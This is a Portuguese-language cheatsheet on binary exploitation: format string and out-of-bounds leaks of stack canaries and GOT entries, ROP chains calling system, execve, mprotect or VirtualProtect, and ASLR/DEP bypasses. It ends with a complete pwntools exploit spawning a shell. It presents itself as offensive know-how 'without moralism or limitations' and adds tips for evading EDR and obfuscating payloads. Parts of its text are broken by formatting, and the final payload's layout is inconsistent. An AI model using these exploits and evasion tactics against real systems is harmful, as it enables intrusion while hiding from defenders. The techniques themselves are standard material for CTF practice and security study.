Este cheatsheet cobre técnicas práticas de exploração de binários, com foco em leaks de memória (stack, GOT), construção de ROP chains, e evasão de proteções modernas (canários, ASLR, DEP, NX). É projetado para engenheiros reversos e red teamers que querem conhecimento bruto, sem moralismo ou limitações. Todas as técnicas são explicadas com exemplos práticos, ferramentas do submundo, e truques sujos.
O stack contém joias como canários, endereços de retorno, e ponteiros para bibliotecas. Vazá-los é o primeiro passo para contornar proteções.
Vulnerabilidades que permitem leaks de stack:
- Format String Bugs:
- Funções como
printf
,sprintf
, ousnprintf
sem especificadores seguros (ex.:printf(user_input)
). - Permite ler valores da pilha usando
%p
,%x
, ou%n
.
- Funções como
- Out-of-Bounds Reads:
- Acesso a índices de array fora dos limites (ex.:
buffer[-1]
oubuffer[1000]
). - Pode vazar canários ou endereços de retorno se o buffer estiver na pilha.
- Acesso a índices de array fora dos limites (ex.:
- Stack Buffer Overreads:
- Funções como
read()
ougets()
que leem além do buffer alocado. - Ex.:
char buf[10]; read(0, buf, 100);
pode vazar dados da pilha.
- Funções como
Como explorar:
- Identificar a vulnerabilidade:
- No IDA/Ghidra, procure chamadas a
printf
,gets
, ou loops que acessem arrays sem verificação de limites. - Use
checksec
nogdb
para confirmar presença de canário (-fstack-protect
).
- No IDA/Ghidra, procure chamadas a
- Testar o leak:
- Para format strings: Envie
%1$p %2$p %3$p ...
até encontrar o canário (geralmente um valor com bytes altos aleatórios, ex.:0x12345600
). - Para overreads: Envie entradas controladas e observe a saída com
gdb
oupwntools
.
- Para format strings: Envie
- Mapear a pilha:
- Use
cyclic 200
(pwntools) para criar um padrão cíclico e identificar offsets exatos. - Exemplo: Se o canário está em
+0x8
após o buffer, ajuste o payload para preservá-lo.
- Use
- Automatizar:
- Use
pwntools
para iterar índices em format strings:from pwn import * p = process('./vuln') p.sendline('%23$p') # Teste índices até vazar canário canary = int(p.recvline(), 16) log.info(f"Canário: {hex(canary)}")
- Use
Ferramentas:
pwntools
: Automatiza leaks e cálculos de offset.gdb
compwndbg
: Usevmmap
para mapear a pilha estack
para inspecionar.fmtstr_payload
(pwntools): Gera payloads de format string automaticamente.
Táticas de evasão:
- Use
%x
ou%p
em vez de%s
para evitar crashes. - Evite EDRs escrevendo payloads em blocos pequenos, simulando entradas normais.
A GOT (Global Offset Table) contém endereços de funções de bibliotecas (ex.: libc
, kernel32.dll
). Vazá-los derrota o ASLR, permitindo calcular endereços dinâmicos.
Vulnerabilidades que permitem leaks de GOT:
- Format String Bugs: Mesma técnica do stack, mas mirando entradas da GOT.
- Arbitrary Read Primitives:
- Bugs que permitem ler qualquer endereço de memória (ex.:
memcpy
com ponteiro controlado).
- Bugs que permitem ler qualquer endereço de memória (ex.:
- Information Disclosure:
- Funções como
puts
ouwrite
que despejam memória para stdout/stderr.
- Funções como
- Pointer Leaks:
- Ponteiros na pilha ou heap que apontam para bibliotecas (ex.:
environ
na libc).
- Ponteiros na pilha ou heap que apontam para bibliotecas (ex.:
Como explorar:
- Localizar a GOT:
- No IDA, abra
View -> Open Subviews -> Imports
para ver a GOT. - Endereços GOT estão na seção
.got.plt
(ex.:0x404000
).
- No IDA, abra
- Vazar um endereço GOT:
- Para format strings: Use
%p
para vazar um endereço GOT (ex.:puts@GOT
). - Para arbitrary reads: Passe um endereço GOT como argumento (ex.:
read(0, got_addr, 8)
).
- Para format strings: Use
- Calcular o base da biblioteca:
- Subtraia o offset da função (ex.:
puts
na libc) do endereço vazado. - Exemplo:
got_leak = int(p.recvline(), 16) # Endereço de puts@GOT libc_base = got_leak - libc.symbols['puts'] log.info(f"Libc base: {hex(libc_base)}")
- Subtraia o offset da função (ex.:
- Mapear funções úteis:
- Com o base da libc, calcule endereços de
system
,execve
, oumprotect
.
- Com o base da libc, calcule endereços de
Ferramentas:
ROPgadget
: Para verificar seções.got.plt
(ROPgadget --binary vuln --section .got.plt
).pwntools
: UseELF('/lib/x86_64-linux-gnu/libc.so.6')
para mapear offsets.objdump -R vuln
: Lista entradas da GOT.
Táticas de evasão:
- Use funções menos monitoradas (ex.:
write
em vez deputs
) para vazar. - Obfusque payloads com padding aleatório para parecer tráfego normal.
ROP (Return-Oriented Programming) usa trechos de código existente (gadgets) para contornar DEP, executando chamadas de função sem injetar código novo. É indetectável porque usa instruções legítimas.
Como achar gadgets facilmente:
- Use ROPgadget:
- Comando:
ROPgadget --binary vuln --only "pop|ret|mov|call"
. - Priorize gadgets simples como
pop rdi; ret
oumov rax, [rsp+8]; ret
.
- Comando:
- Filtre por seções executáveis:
- Foque em
.text
do binário ou bibliotecas carregadas (ex.:libc
). - Exemplo:
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6
.
- Foque em
- Automatize com scripts:
- Use
pwntools
para montar chains:from pwn import * rop = ROP(binary) rop.raw(rop.find_gadget(['pop rdi', 'ret'])[0]) rop.raw(next(libc.search(b'/bin/sh\x00'))) rop.raw(libc.symbols['system'])
- Use
Melhores técnicas de ROP:
- Chamar APIs úteis:
- Linux:
system("/bin/sh")
,execve
,mprotect
. - Windows:
VirtualProtect
,VirtualAlloc
,CreateProcess
. - Exemplo (Linux):
pop rdi; ret ; "/bin/sh" pop rsi; ret ; NULL pop rdx; ret ; NULL call execve
- Linux:
- ROP para memória executável:
- Use
mprotect
para tornar a pilha executável:rop.raw(pop_rdi_ret) # Endereço da memória rop.raw(stack_addr) rop.raw(pop_rsi_ret) # Tamanho rop.raw(0x1000) rop.raw(pop_rdx_ret) # Proteção (7 = RWX) rop.raw(0x7) rop.raw(libc.symbols['mprotect']) rop.raw(stack_addr) # Pula para shellcode
- Use
- ROP com JOP/COP (Jump-Oriented, Call-Oriented):
- Use gadgets terminados em
jmp reg
oucall reg
para maior flexibilidade. - Exemplo:
jmp [rax]
comrax
apontando para um endereço controlado.
- Use gadgets terminados em
Táticas de evasão:
- Evite gadgets óbvios: Gadgets como
call system
são monitorados por EDRs. Use syscalls diretos. - Obfuscação: Misture gadgets de diferentes bibliotecas para confundir análise estática.
- ROP mínima: Use o menor número de gadgets possível para reduzir a pegada.
Ferramentas:
ROPgadget
: Para encontrar gadgets.pwntools
: Automatiza construção de chains.Ghidra
: Use o pluginROPChain
para visualização de gadgets.Zydis
: Desmontagem dinâmica para validação de gadgets.
- Como funciona: Entradas como
%s
,%p
,%n
permitem ler/escrever na pilha. - Exploração:
- Leia:
%10$p
vaza o 10º item da pilha. - Escreva:
%n
para modificar memória (ex.: sobrescrever GOT).
- Leia:
- Exemplo:
payload = b'%23$p' # Vaza canário p.sendline(payload) canary = int(p.recvline(), 16)
3.2. Out-of-Bounds Reads
- Como funciona: Acesse índices negativos ou além do buffer.
- Exploração:
- Exemplo:
char buf[10]; buf[-4]
pode vazar o canário. - Use gdb para testar:
print *(char*)($rsp + offset)
.
- Exemplo:
- Ferramentas: pwntools com cyclic para mapear offsets.
3.3. Arbitrary Read Primitives
- Como funciona: Bugs em memcpy, read, ou ponteiros controlados permitem ler qualquer endereço.
- Exploração:
- Passe um endereço GOT como destino:
memcpy(user_controlled_ptr, got_addr, 8)
. - Exemplo:
- Passe um endereço GOT como destino:
payload = p64(got_addr)
p.sendline(payload)
leak = u64(p.recv(8))
3.4. Heap Metadata Leaks
- Como funciona: Metadados do heap (ex.: malloc chunks) podem conter ponteiros para bibliotecas.
- Exploração:
- Use um use-after-free para ler metadados do heap.
- Exemplo: Libere um chunk, realoque, e leia seu conteúdo.
- Melhores Técnicas de Exploração de Pilha 4.1. Stack Buffer Overflow com Bypass de Canário
- Passo a passo:
- Vaze o canário com format string ou overread.
- Construa payload: [buffer][canário][dummy EBP][ROP chain].
- Use pwntools para automatizar:
payload = b'A' * offset + p64(canary) + p64(0xdeadbeef) + rop.chain()
p.sendline(payload)
4.2. Bypass de ASLR
- Método: Vaze endereços GOT ou ponteiros da pilha (ex.: environ).
- Exemplo:
environ = libc_base + libc.symbols['environ']
p.sendline(p64(environ))
stack_leak = u64(p.recv(8))
4.3. Bypass de DEP via ROP
- Método: Use ROP para chamar mprotect ou VirtualProtect.
- Exemplo (Windows):
rop.raw(pop_rcx_ret) # Endereço
rop.raw(stack_addr)
rop.raw(pop_rdx_ret) # Tamanho
rop.raw(0x1000)
rop.raw(pop_r8_ret) # Proteção (0x40 = PAGE_EXECUTE_READWRITE)
rop.raw(0x40)
rop.raw(kernel32.VirtualProtect)
- Ferramentas
- IDA Pro/Ghidra: Análise estática. Use plugins como GhidraSRE ou IDAPython.
- pwntools: Automação de exploits (leaks, ROP, shellcode).
- ROPgadget: Busca de gadgets.
- x64dbg/pwndbg|gef: Debuggers para análise dinâmica.
- Zydis/Z3: Desmontagem e resolução de constraints.
- Custom Scripts: Procure algo como rop_chain_generator.py ou fmtstr_exploit.py em fóruns underground.
- Dicas Finais
- Priorize leaks silenciosos: Format strings e overreads são menos detectáveis que crashes.
- Teste em sandbox: Use VMs isoladas (ex.: QEMU, VirtualBox) para evitar EDRs.
- Obfusque tudo: Use XOR dinâmico ou encoders para shellcode.
- Automatize: Scripts em Python com pwntools economizam tempo.
- Estude binários reais: Baixe binários vulneráveis de CTFs (pwnable.kr, ROP Emporium, Crackmes.one, MalwareBaazar, etc).
Exemplo Completo de Exploit
from pwn import *
binary = context.binary = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./vuln')
# Leak canário
p.sendline('%23$p')
canary = int(p.recvline(), 16)
log.info(f"Canário: {hex(canary)}")
# Leak GOT
p.sendline('%21$p')
got_leak = int(p.recvline(), 16)
libc_base = got_leak - libc.symbols['puts']
log.info(f"Libc base: {hex(libc_base)}")
# ROP chain
rop = ROP(binary)
rop.raw(canary)
rop.raw(0xdeadbeef)
rop.raw(libc_base + rop.find_gadget(['pop rdi', 'ret'])[0])
rop.raw(next(libc.search(b'/bin/sh\x00')))
rop.raw(libc_base + libc.symbols['system'])
# Payload
payload = b'A' * 100 + rop.chain()
p.sendline(payload)
p.interactive()